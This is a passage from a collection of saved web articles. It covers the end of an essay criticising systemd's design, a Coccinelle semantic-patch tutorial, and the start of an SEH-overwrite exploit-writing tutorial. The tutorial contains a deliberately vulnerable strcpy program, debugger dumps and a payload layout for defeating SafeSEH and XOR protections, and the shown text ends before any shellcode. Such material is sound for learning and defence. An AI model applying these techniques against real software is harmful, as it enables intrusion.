as unprivileged users or does not have any channel for providing it input
except local input from root**.** Using systemd then more than doubles the
attack surface**.**

This increased and unreasonable risk is not inherent to systemd's goal of
fixing legacy init**.** However it is inherent to the systemd design
philosophy of putting everything into the init process**.**

#### The third big problem: Reboot to Upgrade****

<img src='img/Temp2_2531.png' alt='Windows Update rebooting' />

Fundamentally, upgrading should never require rebooting unless the component
being upgraded is the kernel**.** Even then, for security updates, it's ideal
to have a "hot-patch" that can be applied as a loadable kernel module to
mitigate the security issue until rebooting with the new kernel is
appropriate**.**

Unfortunately, by moving large amounts of functionality that's likely to need
to be upgraded into PID 1, systemd makes it impossible to upgrade without
rebooting**.** This leads to "Linux" becoming the laughing stock of Windows
fans , as happened with Ubuntu a long time ago**.**

#### Possible counter-arguments****

**With regards to security** , one could ask why can't desktop systems use
systemd, and leave server systems to find something else**.** But I think this
line of reasoning is flawed in at least three ways:

  1. Many of the selling-point features of systemd are server-oriented**.** State-of-the-art transaction-style handling of daemon starting and stopping is not a feature that's useful on desktop systems. The intended audience for that sort of thing is clearly servers**.**
  2. The desktop is quickly becoming irrelevant**.** The future platform is going to be mobile and is going to be dealing with the reality of running untrusted applications**.** While the desktop made the unix distinction of local user accounts largely irrelevant, the coming of mobile app ecosystems full of potentially-malicious apps makes "local security" more important than ever**.**
  3. The crowd pushing systemd, possibly including its author, is not content to have systemd be one choice among many**.** By providing public APIs intended to be used by other applications, systemd has set itself up to be _difficult not to use_ once it achieves a certain adoption threshold**.**

**With regards to upgrades** , systemd's `systemctl` has a `daemon-reexec`
command to make systemd serialize its state, re-exec itself, and continue
uninterrupted**.** This could perhaps be used to switch to a new version
without rebooting**.** Various programs already use this technique, such as
the IRC client irssi  which lets you `/upgrade` without dropping any
connections**.** Unfortunately, this brings us back to the issue of PID 1
being special**.** For normal applications, if re-execing fails, the worst
that happens is the process dies and gets restarted \(either manually or by
some monitoring process\) if necessary**.** However for PID 1, if re-execing
itself fails, the whole system goes down \(kernel panic\)**.**

For common reasons it might fail, the `execve` syscall returns failure in the
original process image, allowing the program to handle the error**.** However,
failure of `execve` is not entirely atomic:

  * The kernel may fail setting up the VM for the new process image after the original VM has already been destroyed; the main situation under which this would happen is resource exhaustion**.**
  * Even after the kernel successfully sets up the new VM and transfers execution to the new process image, it's possible to have failures prior to the transfer of control to the actual application program**.** This could happen in the dynamic linker \(resource exhaustion or other transient failures mapping required libraries or loading configuration files\) or libc startup code**.** Using musl libc  with static linking or even dynamic linking with no additional libraries eliminates these failure cases, but systemd is intended to be used with glibc**.**

In addition, systemd might fail to restore its serialized state due to
resource allocation failures, or if the old and new versions have diverged
sufficiently that the old state is not usable by the new version**.**

**So if not systemd, what**?**** Debian's discussion of whether to adopt
systemd or not basically devolved into a false dichotomy between systemd and
upstart**.** And except among grumpy old luddites, keeping legacy sysvinit is
not an attractive option**.** So despite all its flaws, is systemd still the
best option**?**

None of the things systemd "does right" are at all revolutionary**.** They've
been done many times before. DJB's daemontools , runit , and Supervisor ,
among others, have solved the "legacy init is broken" problem over and over
again \(though each with some of their own flaws\)**.** Their failure to
displace legacy sysvinit in major distributions had nothing to do with whether
they solved the problem, and everything to do with marketing**.** Said
differently, there's nothing great and revolutionary about systemd**.** Its
popularity is purely the result of an aggressive, dictatorial marketing
strategy including elements such as:

  * Engulfing other "essential" system components like udev and making them difficult or impossible to use without systemd \(but see eudev \)**.**
  * Setting up for API lock-in \(having the DBus interfaces provided by systemd become a necessary API that user-level programs depend on\)**.**
  * Dictating policy rather than being scoped such that the user, administrator, or systems integrator \(distribution\) has to provide glue**.** This eliminates bikesheds  and thereby fast-tracks adoption at the expense of flexibility and diversity**.**

#### So how should init be done right**?**

The Unix way: with simple self-contained programs that do one thing and do it
well**.**

First, get everything out of PID 1:

The systemd way: Take advantage of special properties of pid 1 to the maximum
extent possible**.** This leads to ever-expanding scope creep and exacerbates
all of the problems described above \(and probably many more yet to be
discovered\)**.**

The right way: Do away with everything special about pid 1 by making pid 1 do
nothing but start the real init script and then just reap zombies:

[code]

    #define _XOPEN_SOURCE 700
    #include <signal**.** h>
    #include <unistd.h>
    
    int main()
    {
        sigset_t set;
        int status;
    
        if (getpid() **!** = 1) return 1;
    
        sigfillset(&set);
        sigprocmask(SIG_BLOCK, &set, 0);
    
        if (fork()) for (;;) wait(&status);
    
        sigprocmask(SIG_UNBLOCK, &set, 0);
    
        setsid();
        setpgid(0, 0);
        return execve("/etc/rc", (char *[]){ "rc", 0 }, (char *[]){ 0 });
    }
    
[/code]

Yes, that's really all that belongs in PID 1**.** Then there's no way it can
fail at runtime, and no need to upgrade it once it's successfully running**.**

Next, from the init script, run a process supervision system outside of PID 1
to manage daemons as immediate child processes \(no backgrounding\)**.** As
mentioned above are several existing choices here**.** It's not clear to me
that any of them are sufficiently polished or robust to satisfy major
distributions at this time**.** But **neither is systemd** ; its backers are
just better at sweeping that under the rug**.**

What the existing choices do have, though, is _better design_ , mainly in the
way of having **clean, well-defined scope** rather than Katamari Damacy **.**

If none of them are ready for prime time, then the folks eager to replace
legacy init in their favorite distributions need to step up and either polish
one of the existing solutions or write a better implementation based on the
same principles**.** Either of these options would be a lot less work than
fixing what's wrong with systemd**.**

Whatever system is chosen, the most important criterion is that it be
transparent to applications**.** For 30+ years, the choice of init system used
has been completely irrelevant to everybody but system integrators and
administrators**.** User applications have had no reason to know or care
whether you use sysvinit with runlevels, upstart, my minimal init with a hard-
coded rc script or a more elaborate process-supervision system, or even
`/bin/sh`**.** Ironically, this sort of modularity and interchangibility is
what made systemd possible; if we were starting from the kind of monolithic,
API-lock-in-oriented product systemd aims to be, swapping out the init system
for something new and innovative would not even be an option**.**

****

# Coccinelle for the newbie » To Linux and beyond \!

**Created:**| _9/19/2011 8:14:25 AM_  
---|---  
**Updated:**| _9/19/2011 8:14:25 AM_  
**Author:**| __  
**Tags:**| _code-review semantic_  
  

# Coccinelle for the newbie

Add comments

coccinelle which is a “program matching and transformation engine which
provides the language SmPL \(Semantic Patch Language\) for specifying desired
matches and transformations in C code”. Well, from user point of view it is a
mega over-boosted sed for C. _coccinelle_ knows C and is thus has the
necessary intelligence to go over C formatting and to manage things better
than you will have done.

This article is my own experience with _coccinelle_. I have try here to put
all the things that have been useful to know from my point of view. For a more
complete and classical presentation just go to coccinelle website.

My experience with _coccinelle_ has started when I was planning some heavy
modifications on suricata.

## The global picture

Using coccinelle is :

  * writing semantic patch which looks like normal patch but which are using the SMPL grammar described on coccinelle website
  * running spatch on files to change with a semantic patch as parameter

> `spatch -sp_file packet.cocci -in_place detect.c`
## The basics

First thing to do is to understand the syntax of semantic patch. They start
with the parameter definitions and continue with the transformation. The
parameter block is delimited by _@@_ and you can put the name of the
transformation rule between the first _@_. Here’s a small example:

[code]

    @rule1@
    identifier p;
    identifier func;
    @@
    func(...) {
    ...
    Packet p;
    ...
    - &(p)
    + p
    
    }
    
[/code]

The transformation rule is named rule1. It will operate with two identifiers p
and func. An identifier is a C object that will match the expression given
inside the patch. Here, _func_ is any function and _p_ is any variable that
inside a function is declared as a _Packet_.  
With that in mind, you can now easily read the semantic patch:

> For any Packet variable \(identified by _p_\) inside a function, replace all
> `&p` by a simple `p`
## Coccinelle knows C

In the previous semantic patch, the _&\(p\)_ is matching for _& p_ or _&\(p\)_
because both writing are equivalent for the C langage.  
Coccinelle goes far beyond as show the following example:

[code]

    @rule2@
    identifier p;
    identifier func;
    @@
    func(...) {
    <...
    - Packet p;
    + Packet *p = SCMalloc(SIZE_OF_PACKET);
    + if (p == NULL) return 0;
    ...
    + SCFree(p);
    return ...;
    ...>
    }
    
[/code]

This semantic patch modifies any Packet variable inside a function and replace
it by an pointer to a Packet which is allocated after definition.  
The test on nullity is also added.  
But the interesting point is the:

[code]

    + SCFree(p);
    return ...;
    
[/code]

This says add an SCFree of the packet before each return. This is a nice way
to assure that the memory will be freed when leaving the function.

This last transformation can lead to the following result:

[code]

    -    ret = Unified2Alert(&tv, &p, data, &pq, NULL);
    -    if(ret == TM_ECODE_FAILED)
    +    }
    +    ret = Unified2Alert(&tv, p, data, &pq, NULL);
    +    if(ret == TM_ECODE_FAILED) {
    +        SCFree(p);
    return 0;
    +    }
    ret = Unified2AlertThreadDeinit(&tv, data);
    -    if(ret == -1)
    +    if(ret == -1) {
    +        SCFree(p);
    return 0;
    +    }
    
[/code]

It is interesting to notice that for all `if` which were not using a brace
have now a pair of them. Coccinelle is not a super sed, it really knows C.

## Some tips

Here is some points about Coccinelle behaviour:

  * Coccinelle will only do the identification of a variable once
  * Coccinelle will only add one line when a line addition is asked

To understand, let’s reuse the _rule2_ previously defined. If our source file
contains:

[code]

    Packet p1;
    Packet p2;
    
[/code]

Then Coccinelle will only do the substitution once. To operate on every
Packet, we have to add `<...` `...>` to define a block over what can be
matched and modified more than once. This give the following patch:

[code]

    @rule2@
    identifier p;
    identifier func;
    @@
    func(...) {
    <...
    - Packet p;
    +Packet *p = SCMalloc(SIZE_OF_PACKET);
    + if (p == NULL) return 0;
    ...
    + SCFree(p);
    return ...;
    ...>
    }
    
[/code]

But here we will trigger an error:

> `Fatal error: exception Failure("rule2: already tagged token:`
This is due to the fact, that as we have two _Packet_ in the code, we have to
add two _SCFree\(\)_.  
As mentioned before, Coccinelle assume it will add only once. Thus we need to
tell it that we are ready to add more than once the _SCFree\(\)_ line. This is
simply done by adding a _+_ at the start of the line:

[code]

    @rule2@
    identifier p;
    identifier func;
    @@
    func(...) {
    <...
    - Packet p;
    + Packet *p = SCMalloc(SIZE_OF_PACKET);
    ++ if (p == NULL) return 0;
    ...
    ++ SCFree(p);
    return ...;
    ...>
    }
    
[/code]

## The result

Here is a slightly improved version of the semantic patch that I used to patch
suricata:

[code]

    @rule0@
    identifier p;
    identifier func;
    typedef uint8_t;
    typedef Packet;
    @@
    func(...) {
    <...
    Packet p;
    ...
    - memset(&p, 0, ...);
    + memset(&p, 0, SIZE_OF_PACKET);
    + p->pkt = (uint8_t *)(p + 1);
    ...>
    }
    
    @rule1@
    identifier p;
    identifier func;
    identifier fdl;
    @@
    func(...) {
    <...
    Packet p;
    ...
    (
    - p.fdl
    + p->fdl
    |
    - &(p)
    + p
    )
    ...>
    }
    
    @rule2@
    identifier p;
    identifier func;
    statement S;
    @@
    func(...) {
    <...
    Packet
    - p
    + *p = SCMalloc(SIZE_OF_PACKET)
    ;
    ++ if (p == NULL) return 0;
    S
    ...
    ++ SCFree(p);
    return ...;
    ...>
    }
    
[/code]

## Code testing

I’ve started implementing some code checking based on coccinelle ability to
use python. The idea is to detect invalid use of internal convention/API. My
first target was to developp something checking that if a Packet is
initialised via a _SCMalloc\(\)_ then the pkt field is correctly set and not
zeroed. I wrote the following semantic patch to do so:

[code]

    @pktset@
    typedef Packet;
    identifier p;
    identifier func;
    position p0;
    @@
    func(...) {
    ...
    Packet *p@p0 = SCMalloc(...);
    ...
    }
    
    @pktdata@
    identifier pktset.p;
    identifier pktset.func;
    position p1;
    @@
    func(...) {
    ...
    Packet *p = SCMalloc(...);
    ...
    (
    p@p1->pkt =  ...
    )
    ...
    }
    
    @pktzero@
    identifier pktset.p;
    identifier pktset.func;
    position p2;
    @@
    func(...) {
    ...
    Packet *p = SCMalloc(...);
    ...
    (
    memset(p@p2, 0, ...)
    )
    ...
    }
    
    @script:python depends on !pktdata@
    p0 << pktset.p0;
    @@
    print "%s: No pkt setting for Packet* allocated at %s" % (p0[0].file, p0[0].line)
    
    @script:python depends on pktset && pktdata && pktzero@
    p0 << pktset.p0;
    p1 << pktdata.p1;
    p2 << pktzero.p2;
    @@
    if int(p1[0].line) <= int(p2[0].line):
        print "%s: Packet data set at %s but zeroed at %s" % (p1[0].file, p1[0].line, p2[0].line)
    
[/code]

To do so, I’ve used position. Each rule try to find a specific motif and store
the associated position. Once this is done, coccinelle proceeds to the
treatment.  
First script is treating the case where pkt is not set:

[code]

    @script:python depends on !pktdata@
    p0 << pktset.p0;
    @@
    print "%s: No pkt setting for Packet* allocated at %s" % (p0[0].file, p0[0].line)
    
[/code]

It will be executed if and only if pktdata rule which looks for pkt setting
has not matched \(_depends on \!pktdata_\). In this case, p0 is set \(we’ve
got a _SCMalloc\(\)_\) and the patch displays a message warning about th lack
of value assignement for pkt.  
The second script treat the case of _memset\(\)_ usage:

[code]

    @script:python depends on pktset && pktdata && pktzero@
    p0 << pktset.p0;
    p1 << pktdata.p1;
    p2 << pktzero.p2;
    @@
    if int(p1[0].line) <= int(p2[0].line):
        print "%s: Packet data set at %s but zeroed at %s" % (p1[0].file, p1[0].line, p2[0].line)
    
[/code]

Here, pkset and pktdata have match and the code also use _memset\(\)_ on _p_
\(usage of _depends on_\). In this case, we compare the line of match p1 and
p2. If p1 line is smaller than p2 one, then zeroing of the structure has been
made after _pkt_ setting.  
A run example on a volontary screwed-up file give the following result:

> `  
>  eric@ice-age:~/git/oisf/src (suric)$ spatch -sp_file ../qa/coccinelle/init-
> packet.cocci -out_place detect.c  
>  init_defs_builtins: /usr/share/coccinelle/standard.h  
>  HANDLING: detect.c  
>  detect.c: No pkt setting for Packet* allocated at 7722  
>  detect.c: Packet data set at 5026 but zeroed at 5027  
>  `
### Enhanced version

Here’s a other version of the semantic patch written by pasting Julia Lawall
indication \(see comments\). Her idea is to detect when there is a
SCMalloc\(\) without pkt setting in a first rule. And then add an other rule
which detect the affectation and memset inversion. Her comments are largely
reproduced here.

[code]

    @nodata forall@
    Packet *p;
    expression E1,E2;
    position p0;
    @@
    ...
    p@p0 = SCMalloc(...)
    ... when != p->pkt = E1
    ? p=E2
    
    @script:python@
    p0 << nodata.p0;
    @@
    print "%s: Packet allocated at l. %s but not initialized" %(p0[0].file, p0[0].line)
    
[/code]

This rule is designated forall so that it checks that there is no setting of
the data field along all control-flow paths, until \(optionally, as specified
by the ?\) p is reassigned. The other option is exists, but in this case, that
is probably not what is wanted, because there could be some error handling
code paths in which it is reasonable not to initialize the data field.  
p is declared as a pointer to a Packet, coccinelle is parsing header and is
able to find the type existence and definition. This is necessary to treat
correctly the _p- >pkt_ construction.

[code]

    @overwritten exists@
    expression p,E;
    position p0,p1,p2;
    @@
    
    p@p0 = SCMalloc(...)
    ...
    p->pkt@p1 = E
    ...
    memset@p2(p,0,...)
    
[/code]

This rule is designated exists, because we want to give an error message if
there exists any such execution path. If there is a danger of p being
reinitialized in the … part, one could add when \!= p = E1 and when \!= p =
E2, respectively for expression metavariables E1 and E2.

[code]

    @script:python@
    p0 << overwritten.p0;
    p1 << overwritten.p1;
    p2 << overwritten.p2;
    @@
    print "%s: Packet data set at l. %s but zeroed at l. %s" % (p1[0].file, p1[0].line, p2[0].line)
    
[/code]

This last part simply print the result when an invalid motif has been found.

Now, this is not enough as we do not check function where multiple Packet are
defined. To fix, this we can simply change the first rule by using the _<
+..._ _…+ >_ construction:

[code]

    @nodata forall@
    Packet *p;
    expression E1,E2;
    position p0;
    @@
    <+...
    p@p0 = SCMalloc(...)
    ... when != p->pkt = E1
    ? p=E2
    ...+>
    
[/code]

## Suppress some functions call

SCMalloc is a Suricata function which does allocation and displays an alert
message in case of failure \(only in the init phase\). It is thus not
necessary to use a logging function after a allocation failure. This usage is
not known by some of the developpers and annoying message are present. I thus
wrote the following semantic patch to get rid of them:

[code]

    @rule1@
    expression p;
    expression E;
    identifier sclog ~= "SCLog.*$";
    @@
    p = SCMalloc(...);
    ... when != (p = E);
    if (p == NULL) {
    - sclog(...);
    ...
    }
    
[/code]

This semantic patch uses the regular expression matching: all logging
functions \(SCLogInfo for example\) starts with SCLog. The patch thus detects
when a variable is allocated and tested for NULL. If the conditional part of
the code start with a logging call, it get supressed. The construction using
`p = E` is used to limit the substitution on case where p is not reset between
the SCMalloc and the equality test.  
The patch uses `expression` which is more broad than an `identifier p`
construction. This seems simple but this will do modification on expression
like `mpm_ctx->ctx` where the `identifier` version will only match when
`mpm_ctx` is set.

## Using regular expression to filter on identifier

If you want to apply a substitution on a subset of function for example, you
can use the filtering ability of coccinelle. For example, to only apply a
transformation on functions whose name match Copy, you can use:

[code]

    @@
    identifier func ~= "Copy"
    typedef Packet;
    Packet *p;
    @@
    - p->pkt
    + p->ext_pkt
    
[/code]

The `~=` operator uses a regular expression as argument.  
If you want to exclude some identifier from the rules you can use the `!~=`
operator. For example to avoid a specific function, here `PacketCopy` one can
use:

[code]

    @@
    identifier func !~= "^PacketCopy$"
    @@
    
[/code]

The regular expression needs to be protected. Thus, for a list of word, you’ve
got to use:

[code]

    identifier func ~= "^\(sprintf\|strcat\|strcpy\)$";
[/code]

# Exploit writing tutorial part 3 : SEH Based Exploits | Peter Van Eeckhoutte´s Blog
**Created:**| _12/28/2009 10:02:09 PM_  
---|---  
**Updated:**| _12/28/2009 10:02:30 PM_  
**Author:**| __  
**Tags:**| _Exploit Tutorials_  
  

## Exploit writing tutorial part 3 : SEH Based Exploits

July 25th, 2009 | <img src='img/Temp2_2965.png' width='14' height='14' /> Author: Peter Van Eeckhoutte
**Viewed 4,368 time\(s\)** | **Add this post to Your Favorite Posts** | Print This Post | <img src='img/Temp2_2956.png' />This page as PDF
<img src='img/Temp2_2975.png' alt='1 Star' /><img src='img/Temp2_2975.png'
alt='2 Stars' /><img src='img/Temp2_2975.png' alt='3 Stars' /><img
src='img/Temp2_2975.png' alt='4 Stars' /><img src='img/Temp2_2975.png' alt='5
Stars' /> \(**5** votes, average: **5.00** out of 5\)  _\(If you rate this
post with anything less than 4 out of 5, then please leave a comment on what I
can do to improve this post\)_  

In the first 2 parts of the exploit writing tutorial series, I have discussed
how a classic stack buffer overflow works and how you can build a reliable
exploit by using various techniques to jump to the shellcode. The example we
have used allowed us to directly overwrite EIP and we had a pretty large
buffer space to host our shellcode. On top of that, we had the ability to use
multiple jump techniques to reach our goal. But not all overflows are that
easy.

Today, we’ll look at another technique to go from vulnerability to exploit, by
using exception handlers.

### What are exception handlers ?

An exception handler is a piece of code that is written inside an application,
with the purpose of dealing with the fact that the application throws an
execption. A typical exception handler looks like this :

[code]

    try
    {
      //run stuff.  If an exception occurs, go to <catch> code
    }
    catch
    {
      // run stuff when exception occurs
    }
    
[/code]

A quick look on the stack on how the try & catch blocks are related to each
other and placed on the stack :

<img src='img/Temp2_2963.png' width='574' height='344' alt='image' />

Windows has a default SEH \(Structured Exception Handler\) which will catch
exceptions. If Windows catches an exception, you’ll see a “xxx has encountered
a problem and needs to close” popup. This is often the result of the default
handler kicking in. It is obvious that, in order to write stable software, one
should try to use development language specific exception handlers, and only
rely on the windows default SEH as a last resort. When using language EH’s,
the necessary links and calls to the exception handling code are generate in
accordance with the underlying OS. \(and when no exception handlers are used,
or when the available exception handlers cannot process the exception, the
Windows SEH will be used. \(UnhandledExceptionFilter\)\). So in the event an
error or illegal instruction occurs, the application will get a chance to
catch the exception and do something with it. If no exception handler is
defined in the application, the OS takes over, catches the exception, shows
the popup \(asking you to Send Error Report to MS\).

In order for the application to be able to go to the catch code, the pointer
to the exception handler code is saved on the stack \(for each code block\).
Each code block has its own stack frame, and the pointer to the exception
handler is part of this stack frame. In other words : Each function/procedure
gets a stack frame. If an exception handler is implement in this
function/procedure, the exception handler gets its own stack frame.
Information about the frame-based exception handler is stored in an
exception\_registration structure on the stack.

This structure \( also called a SEH record\) is 8 bytes and has 2 \(4 byte\)
elements :

  * a pointer to the next exception\_registration structure \(in essence, to the next SEH record, in case the current handler is unable the handle the exception\)
  * a pointer, the address of the actual code of the exception handler. \(SE Handler\)

Simple stack view on the SEH chain components :

<img src='img/Temp2_2952.png' width='540' height='388' alt='image' />

At the top of the main data block \(the data block of the application’s “main”
function, or TEB \(Thread Environment Block\) / TIB \(Thread Information
Block\)\), a pointer to the top of the SEH chain is placed. This SEH chain is
often called the FS:\[0\] chain as well.

_So, on Intel machines, when looking at the disassembled SEH code, you will
see an instruction to move DWORD ptr from FS:\[0\]. This ensures that the
exception handler is set up for the thread and will be able to catch errors
when they occur. The opcode for this instruction is 64A100000000. If you
cannot find this opcode, the application/thread may not have exception
handling at all._

_Alternatively, you can use a OllyDBG plugin called OllyGraph to create a
Function Flowchart._

The bottom of the SEH chain is indicated by FFFFFFFF. This will trigger an
improper termination of the program \(and the OS handler will kick in\)

Quick example : compile the following source code \(sehtest.exe\) and open the
executable in windbg. Do NOT start the application yet, leave it in a paused
state :

[code]

    #include<stdio.h>
    #include<string.h>
    #include<windows.h>
    
    int ExceptionHandler(void);
    int main(int argc,char *argv[]){
    
    char temp[512];
    
    printf("Application launched");
    
     __try {
    
        strcpy(temp,argv[1]);
    
        } __except ( ExceptionHandler() ){
    }
    return 0;
    }
    int ExceptionHandler(void){
    printf("Exception");
    return 0;
    }
    
[/code]

look at the loaded modules

[code]

    Executable search path is:
    ModLoad: 00400000 0040c000   c:\sploits\seh\lcc\sehtest.exe
    ModLoad: 7c900000 7c9b2000   ntdll.dll
    ModLoad: 7c800000 7c8f6000   C:\WINDOWS\system32\kernel32.dll
    ModLoad: 7e410000 7e4a1000   C:\WINDOWS\system32\USER32.DLL
    ModLoad: 77f10000 77f59000   C:\WINDOWS\system32\GDI32.dll
    ModLoad: 73d90000 73db7000   C:\WINDOWS\system32\CRTDLL.DLL
    
[/code]

The application sits between 00400000 and 0040c000

Search this area for the opcode :

[code]

    0:000> s 00400000 l 0040c000 64 A1
    00401225  64 a1 00 00 00 00 55 89-e5 6a ff 68 1c a0 40 00  d.....U..j.h..@.
    0040133f  64 a1 00 00 00 00 50 64-89 25 00 00 00 00 81 ec  d.....Pd.%......
    
[/code]

This is proof that an exception handler is registered. Dump the TEB :

[code]

    0:000> d fs:[0]
    003b:00000000  **0c fd 12 00** 00 00 13 00-00 e0 12 00 00 00 00 00 ................
    003b:00000010  00 1e 00 00 00 00 00 00-00 f0 fd 7f 00 00 00 00 ................
    003b:00000020  84 0d 00 00 54 0c 00 00-00 00 00 00 00 00 00 00 ....T...........
    003b:00000030  00 d0 fd 7f 00 00 00 00-00 00 00 00 00 00 00 00 ................
    003b:00000040  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
    003b:00000050  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
    003b:00000060  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
    003b:00000070  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
    0:000> !exchain
    0012fd0c: ntdll!strchr+113 (7c90e920)
    
[/code]

The pointer points to 0×0012fd0c \(begin of SEH chain\). When looking at that
area, we see :

[code]

    0:000> d 0012fd0c
    0012fd0c  **ff ff ff ff** 20 e9 90 7c-30 b0 91 7c 01 00 00 00  .... ..|0..|....
    0012fd1c  00 00 00 00 57 e4 90 7c-30 fd 12 00 00 00 90 7c  ....W..|0......|
    0012fd2c  00 00 00 00 17 00 01 00-00 00 00 00 00 00 00 00  ................
    0012fd3c  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
    0012fd4c  08 30 be 81 92 24 3e f8-18 30 be 81 18 aa 3c 82  .0...$>..0....<.
    0012fd5c  90 2f 20 82 01 00 00 00-00 00 00 00 00 00 00 00  ./ .............
    0012fd6c  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
    0012fd7c  01 00 00 f4 00 00 00 00-00 00 00 00 00 00 00 00  ................
    
[/code]

ff ff ff ff indicates the end of the SEH chain. That’s normal, because the
application is not started yet. \(Windbg is still paused\)

If you have the Ollydbg plugin Ollygraph installed, you could open the
executable in ollydbg and create the graph, which should indicate if an
exception handler is installed or not :

<img src='img/Temp2_2957.png' width='231' height='231' alt='image' />

When we run the application \(F5 or ‘g’\), we see this :

[code]

    0:000> d fs:[0]
    *** ERROR: Symbol file could not be found.  Defaulted to export symbols for ...
    003b:00000000  **40 ff 12 00** 00 00 13 00-00 d0 12 00 00 00 00 00 @...............
    003b:00000010  00 1e 00 00 00 00 00 00-00 f0 fd 7f 00 00 00 00 ................
    003b:00000020  84 0d 00 00 54 0c 00 00-00 00 00 00 00 00 00 00 ....T...........
    003b:00000030  00 d0 fd 7f 00 00 00 00-00 00 00 00 00 00 00 00 ................
    003b:00000040  a0 06 85 e2 00 00 00 00-00 00 00 00 00 00 00 00 ................
    003b:00000050  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
    003b:00000060  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
    003b:00000070  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
    0:000> d 0012ff40
    0012ff40  b0 ff 12 00 d8 9a 83 7c-e8 ca 81 7c 00 00 00 00  .......|...|....
    0012ff50  64 ff 12 00 26 cb 81 7c-00 00 00 00 b0 f3 e8 77  d...&..|.......w
    0012ff60  **ff ff ff ff** c0 ff 12 00-28 20 d9 73 00 00 00 00  ........( .s....
    0012ff70  4a f7 63 01 00 d0 fd 7f-6d 1f d9 73 00 00 00 00  J.c.....m..s....
    0012ff80  00 00 00 00 00 00 00 00-ca 12 40 00 00 00 00 00  ..........@.....
    0012ff90  00 00 00 00 f2 f6 63 01-4a f7 63 01 00 d0 fd 7f  ......c.J.c.....
    0012ffa0  06 00 00 00 04 2d 4c f4-94 ff 12 00 ab 1c 58 80  .....-L.......X.
    0012ffb0  e0 ff 12 00 9a 10 40 00-1c a0 40 00 00 00 00 00  ......@...@.....
    
    
[/code]

The TEB for the main function is now set up. The SEH chain for the main
function points at 0×0012ff40, where the exception handler is listed and will
point to the exception handler function \(0×0012ffb0\)

In OllyDbg, you can see the seh chain more easily :

<img src='img/Temp2_2967.png' width='274' height='73' alt='image' />

<img src='img/Temp2_2970.png' width='325' height='325' alt='image' />

Here we can see our Exception Handler function ExceptionHandler\(\).

Anyways, as you can see in the explanation above the example, and in the last
screenshot, exception handlers are connected/linked to each other. They form a
linked list chain on the stack, and sit at the bottom of the stack. \(SEH
chain\). When an exception occurs, Windows ntdll.dll kicks in, retrieves the
head of the SEH chain \(sits at the top of TEB/TIB remember\), walks through
the list and tries to find the suitable handler. If no handler is found the
default Win32 handler will be used \(at the bottom of the stack, the one after
FFFFFFFF\).

You can read more about SEH in Matt Pietrek’s excellent article from 1997 :
http://www.microsoft.com/msj/0197/exception/exception.aspx

### Changes in Windows XP SP1 with regards to SEH, and the impact of
GS/DEP/SafeSEH and other protection mechanisms on exploit writing.

**XOR**

In order to be able to build an exploit based on SEH overwrite, we will need
to make a distinction between Windows XP pre-SP1 and SP1 and up. Since Windows
XP SP1, before the exception handler is called, all registers are XORed with
each other, making them all point to 0×00000000, which complicates exploit
building \(but does not make it impossible\). That means that you may see that
one or more registers point at your payload at the first chance exception, but
when the EH kicks in, these registers are cleared again \(so you cannot jump
to them directly in order to execute your shellcode\). We’ll talk about this
later on.

**DEP & Stack Cookies**

On top of that, Stack Cookies \(via C++ compiler options\) and DEP \(Data
Execution Prevention\) were introduced \(Windows XP SP2 and Windows 2003\) . I
will write an entire post on Stack cookies and DEP. In sort, you only need to
remember that these two techniques can make it significantly harder to build
exploits.

**SafeSEH**

Some additional protection was added to compilers, helping to stop the abuse
of SEH overwrites. This protection mechanism is active for all modules that
are compiled with /safeSEH

**Windows 2003**

Under Windows 2003 server, more protection was added. I’m not going to discuss
these protections in this post \(check tutorial series part 6 for more info\),
because things would start to get too complex at this point. As soon as you
mastered this tutorial, you will be ready to look at tutorial part 6 :-\)

### XOR, SafeSEH,…. but how can we then use the SEH to jump to shellcode ?

There is a way around the XOR 0×00000000 protection and the SafeSEH
protections. Since you cannot simply jump to a register \(because registers
are xored\), a call to a series of instructions in a dll will be needed.

> \(You should try to avoid using a call from the memory space of an OS
> specific dll, but rather use an address from an application dll instead in
> order to make the exploit reliable \(assuming that this dll is not compiled
> with safeSEH\). That way, the address will be \*almost\* always the same,
> regardless of the OS version. But if there are no DLL’s, and there is a non
> safeseh OS module that is loaded, and this module contains a call to these
> instructions, then it will work too.\)
The theory behind this technique is : If we can overwrite the pointer to the
SE handler that will be used to deal with a given exception, and we can cause
the application to throw another exception \(a fake exception\), we should be
able to get control by forcing the application to jump to your shellcode
\(instead of to the real exception handler function\). The series of
instructions that will trigger this, is POP POP RET. The OS will understand
that the exception handling routine has been executed and will move to the
next SEH \(or to the end of the SEH chain\). The fake instruction should be
searched for in loaded dll’s/exe’s, but not in the stack \(again, the
registers will be made unusable\). \(You could try to use ntdll.dll or an
application-specific dll\)

One quick sidenote : there is an excellent Ollydbg plugin called OllySSEH,
which will scan the process loaded modules and will indicate if they were
compiled with SafeSEH or not. It is important to scan the dll’s and to use a
pop/pop/ret address from a module that is not compiled with SafeSEH

Normally, the pointer to the next SEH record contains an address. But in order
to build an exploit, we need to overwrite it with small jumpcode to the
shellcode \(which should sit in the buffer right after overwriting the SE
Handler\). The pop pop ret sequence will make sure this code gets executed

In other words, the payload must do the following things

  1. cause an exception
  2. overwrite the pointer to the next SEH record with some jumpcode \(so it can jump to the shellcode\)
  3. overwrite the SE handler with a pointer to an instruction that performs a fake exception
  4. The shellcode should be directly after the overwritten SE Handler. Some small jumpcode contained in the overwritten “pointer to next SEH record” will jump to it\).

<img src='img/Temp2_2958.png' width='680' height='431' alt='image' />

As explained at the top of this post, there could be no exception handlers in
the application \(in that case, the default OS Excecption Handler takes over,
and you will have to overwrite a lot of data, all the way to the bottom of the
stack\), or the application uses its own exception handlers \(and in that case
you can choose how far ‘deep’ want to overwrite\).

A typical payload will look like this

\[Junk\]\[nSEH\]\[SEH\]\[Nop-Shellcode\]

Where nSEH = the jump to the shellcode, and SEH is a reference to a pop pop
ret

Make sure to pick a universal address for overwriting the SEH. Ideally, try to
find a good sequence in one of the dll’s from the application itself.

Before looking at building an exploit, we’ll have a look at how Ollydbg and
windbg can help tracing down SEH handling \(and assist you with building the
correct payload\)

The test case in this post is based on a vulnerability that was released last
week \(july 20th 2009\).

